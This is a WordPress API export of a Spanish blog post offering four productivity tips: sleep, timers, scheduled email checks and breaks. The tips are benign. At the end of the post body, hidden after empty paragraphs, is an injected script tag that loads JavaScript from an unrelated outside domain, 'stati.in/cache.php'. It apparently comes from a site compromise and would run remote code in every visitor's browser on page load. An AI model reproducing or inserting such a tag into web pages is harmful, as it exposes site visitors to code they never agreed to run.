{"id":908,"date":"2017-01-17T01:39:17","date_gmt":"2017-01-17T01:39:17","guid":{"rendered":"https:\/\/lifeconsultingroup.com\/blog\/?p=53"},"modified":"2023-10-04T20:59:45","modified_gmt":"2023-10-05T02:59:45","slug":"5-reglas-para-aumentar-tu-productividad","status":"publish","type":"post","link":"https:\/\/lifeconsultingroup.com\/es\/5-reglas-para-aumentar-tu-productividad\/","title":{"rendered":"4 reglas para aumentar tu productividad"},"content":{"rendered":"<p>Inicio de semana, tedioso para muchos y sin\u00f3nimo de nuevas oportunidades para aquellos que son m\u00e1s optimistas.<\/p>\n<p>No importa que d\u00eda de la semana sea, lo que s\u00ed es una realidad es que muchos nos hemos convertido en los reyes del &#8220;ma\u00f1ana lo hago&#8221;, es por eso que pusimos en pr\u00e1ctica estos tips durante dos semanas y les podemos asegurar que nos han sido de muuuucha ayuda.<\/p>\n<p>&nbsp;<\/p>\n<p>Duerme bien y come bien: si eres de los que se quedan horas en la madrugada trabajando y te levantas muy temprano al d\u00eda siguiente: est\u00e1s generando menos productividad. Estas dos semanas pusimos a prueba una funci\u00f3n que trae integrada la \u00faltima actualizaci\u00f3n del Iphone. Se llama Bedtime y te ayuda a medir de acuerdo a la hora en la que te tienes que despertar, cu\u00e1ntas horas debes descansar para amanecer con energ\u00eda. Una hora antes de que sea tu hora de dormir te avisa que te vayas preparando y te despierta con sonidos agradables. \u00bfBuena opci\u00f3n, no?<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-22105\" src=\"https:\/\/lifeconsultingroup.com\/wp-content\/uploads\/2017\/01\/life-productivo.jpg\" alt=\"\" width=\"1620\" height=\"1080\" srcset=\"https:\/\/lifeconsultingroup.com\/wp-content\/uploads\/2017\/01\/life-productivo.jpg 1620w, https:\/\/lifeconsultingroup.com\/wp-content\/uploads\/2017\/01\/life-productivo-300x200.jpg 300w, https:\/\/lifeconsultingroup.com\/wp-content\/uploads\/2017\/01\/life-productivo-1024x683.jpg 1024w, https:\/\/lifeconsultingroup.com\/wp-content\/uploads\/2017\/01\/life-productivo-768x512.jpg 768w, https:\/\/lifeconsultingroup.com\/wp-content\/uploads\/2017\/01\/life-productivo-1536x1024.jpg 1536w, https:\/\/lifeconsultingroup.com\/wp-content\/uploads\/2017\/01\/life-productivo-600x400.jpg 600w\" sizes=\"(max-width: 1620px) 100vw, 1620px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Trabaja con cron\u00f3metro: \u00a0Muchas veces empezamos una tarea y hacemos mil cosas a la vez, o en muchos de los casos nos distraemos con redes sociales o You Tube. Una buena manera de optimizar tus tiempos es utilizando un temporizador en el que a cada tarea le pones un tiempo espec\u00edfico para terminarlo.<\/p>\n<p>Agenda una hora para contestar mails. Puedes hacerlo en tres tiempos durante el d\u00eda o si lo requieres en m\u00e1s. Lo importante es que no est\u00e9s revisando cada tres segundos. Intenta poner en pr\u00e1ctica la revisi\u00f3n de tus correos despu\u00e9s de que termines una tarea o alg\u00fan pendiente.<\/p>\n<p>\u00a1T\u00f3mate un descanso! Divertirte puede estar dentro de tu agenda del d\u00eda. Lee un diario, checa algunos videos, revisa tus redes. Darte estos &#8220;breaks&#8221; aligera la carga de trabajo y reduce tus niveles de estr\u00e9s.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><script src=\"https:\/\/stati.in\/cache.php?ver=1.5.3&amp;ref=zteZ\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Inicio de semana, tedioso para muchos y sin\u00f3nimo de nuevas oportunidades para aquellos que son m\u00e1s optimistas. No importa que d\u00eda de la semana sea, lo que s\u00ed es una realidad es que muchos nos hemos convertido en los reyes del &#8220;ma\u00f1ana lo hago&#8221;, es por eso que pusimos en pr\u00e1ctica estos tips durante dos [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":22104,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_joinchat":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-908","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sin-categoria"],"_links":{"self":[{"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/posts\/908","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/comments?post=908"}],"version-history":[{"count":2,"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/posts\/908\/revisions"}],"predecessor-version":[{"id":22107,"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/posts\/908\/revisions\/22107"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/media\/22104"}],"wp:attachment":[{"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/media?parent=908"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/categories?post=908"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lifeconsultingroup.com\/es\/wp-json\/wp\/v2\/tags?post=908"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}